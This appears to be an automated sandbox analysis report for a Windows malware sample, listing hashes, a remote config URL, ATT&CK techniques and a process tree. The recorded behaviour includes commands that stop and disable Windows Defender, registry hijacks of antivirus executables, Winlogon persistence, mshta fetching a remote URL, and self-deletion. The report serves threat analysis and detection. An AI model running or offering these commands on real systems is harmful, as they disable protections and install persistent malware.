Analysis
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max time kernel
150s -
max time network
99s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
19/09/2024, 06:13
Static task
static1
Behavioral task
behavioral1
Sample
eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe
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Size
2.3MB
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MD5
eabd3adb848cfe1843879142be96a2d7
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SHA1
8843f2b3e152add67c33f894d2456906ab4a3629
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SHA256
4c66076782018ccb966e7a509acb60d4c921a2bdcd86b2e385ab0362b570ef8b
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SHA512
411d35c02b7a814b2c96d7a4904c0c889f4c0aeda0e253370c09d632f12fdbe44ee310129851f363a4a1b83a0e99aa1ae890df81aa8be5e7355722a6479106e8
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SSDEEP
49152:e1ZWlkS3CWK0HieQs9QToFxQP09R4lPQ2r1CsHrpNxO8:e6lkS3Npirs2TAx5SNQA0kpy8
Malware Config
Extracted
http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=MKDTRXIT&2=i-s&3=72&4=9200&5=6&6=2&7=919041&8=1033
Signatures
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Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\gjpubt.exe" gjpubt.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe\Debugger = "svchost.exe" gjpubt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe" gjpubt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe" gjpubt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe gjpubt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe gjpubt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe gjpubt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe gjpubt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe gjpubt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe gjpubt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe\Debugger = "svchost.exe" gjpubt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe" gjpubt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe" gjpubt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe" gjpubt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe gjpubt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe\Debugger = "svchost.exe" gjpubt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe gjpubt.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe -
Executes dropped EXE 1 IoCs
pid Process 3960 gjpubt.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
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Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 412 sc.exe 3412 sc.exe 2044 sc.exe 3488 sc.exe 3436 sc.exe 2796 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 14 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language gjpubt.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3960 gjpubt.exe Token: SeShutdownPrivilege 3960 gjpubt.exe Token: SeDebugPrivilege 3960 gjpubt.exe Token: SeShutdownPrivilege 3960 gjpubt.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe 3960 gjpubt.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3960 gjpubt.exe 3960 gjpubt.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4752 wrote to memory of 3412 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 82 PID 4752 wrote to memory of 3412 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 82 PID 4752 wrote to memory of 3412 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 82 PID 4752 wrote to memory of 2044 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 83 PID 4752 wrote to memory of 2044 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 83 PID 4752 wrote to memory of 2044 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 83 PID 4752 wrote to memory of 4392 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 84 PID 4752 wrote to memory of 4392 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 84 PID 4752 wrote to memory of 4392 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 84 PID 4752 wrote to memory of 3488 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 85 PID 4752 wrote to memory of 3488 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 85 PID 4752 wrote to memory of 3488 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 85 PID 4752 wrote to memory of 3960 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 90 PID 4752 wrote to memory of 3960 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 90 PID 4752 wrote to memory of 3960 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 90 PID 4392 wrote to memory of 3212 4392 net.exe 91 PID 4392 wrote to memory of 3212 4392 net.exe 91 PID 4392 wrote to memory of 3212 4392 net.exe 91 PID 4752 wrote to memory of 4196 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 92 PID 4752 wrote to memory of 4196 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 92 PID 4752 wrote to memory of 4196 4752 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 92 PID 3960 wrote to memory of 412 3960 gjpubt.exe 94 PID 3960 wrote to memory of 412 3960 gjpubt.exe 94 PID 3960 wrote to memory of 412 3960 gjpubt.exe 94 PID 3960 wrote to memory of 2796 3960 gjpubt.exe 95 PID 3960 wrote to memory of 2796 3960 gjpubt.exe 95 PID 3960 wrote to memory of 2796 3960 gjpubt.exe 95 PID 3960 wrote to memory of 2784 3960 gjpubt.exe 96 PID 3960 wrote to memory of 2784 3960 gjpubt.exe 96 PID 3960 wrote to memory of 2784 3960 gjpubt.exe 96 PID 3960 wrote to memory of 3436 3960 gjpubt.exe 97 PID 3960 wrote to memory of 3436 3960 gjpubt.exe 97 PID 3960 wrote to memory of 3436 3960 gjpubt.exe 97 PID 2784 wrote to memory of 3664 2784 net.exe 102 PID 2784 wrote to memory of 3664 2784 net.exe 102 PID 2784 wrote to memory of 3664 2784 net.exe 102 PID 3960 wrote to memory of 436 3960 gjpubt.exe 103 PID 3960 wrote to memory of 436 3960 gjpubt.exe 103 PID 3960 wrote to memory of 436 3960 gjpubt.exe 103
Processes
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C:\Users\Admin\AppData\Local\Temp\eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4752 -
C:\Windows\SysWOW64\sc.exesc stop WinDefend2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3412
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2044
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C:\Windows\SysWOW64\net.exenet stop msmpsvc2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmpsvc3⤵
- System Location Discovery: System Language Discovery
PID:3212
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C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3488
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C:\Users\Admin\AppData\Roaming\gjpubt.exeC:\Users\Admin\AppData\Roaming\gjpubt.exe2⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3960 -
C:\Windows\SysWOW64\sc.exesc stop WinDefend3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:412
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2796
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C:\Windows\SysWOW64\net.exenet stop msmpsvc3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmpsvc4⤵
- System Location Discovery: System Language Discovery
PID:3664
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C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3436
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C:\Windows\SysWOW64\mshta.exemshta.exe "http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=MKDTRXIT&2=i-s&3=72&4=9200&5=6&6=2&7=919041&8=1033"3⤵
- System Location Discovery: System Language Discovery
PID:436
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\EABD3A~1.EXE" >> NUL2⤵
- System Location Discovery: System Language Discovery
PID:4196
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Privilege Escalation
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Defense Evasion
Impair Defenses
1Indicator Removal
1File Deletion
1Modify Registry
1Replay Monitor
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Downloads
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Filesize
2.3MB
MD5eabd3adb848cfe1843879142be96a2d7
SHA18843f2b3e152add67c33f894d2456906ab4a3629
SHA2564c66076782018ccb966e7a509acb60d4c921a2bdcd86b2e385ab0362b570ef8b
SHA512411d35c02b7a814b2c96d7a4904c0c889f4c0aeda0e253370c09d632f12fdbe44ee310129851f363a4a1b83a0e99aa1ae890df81aa8be5e7355722a6479106e8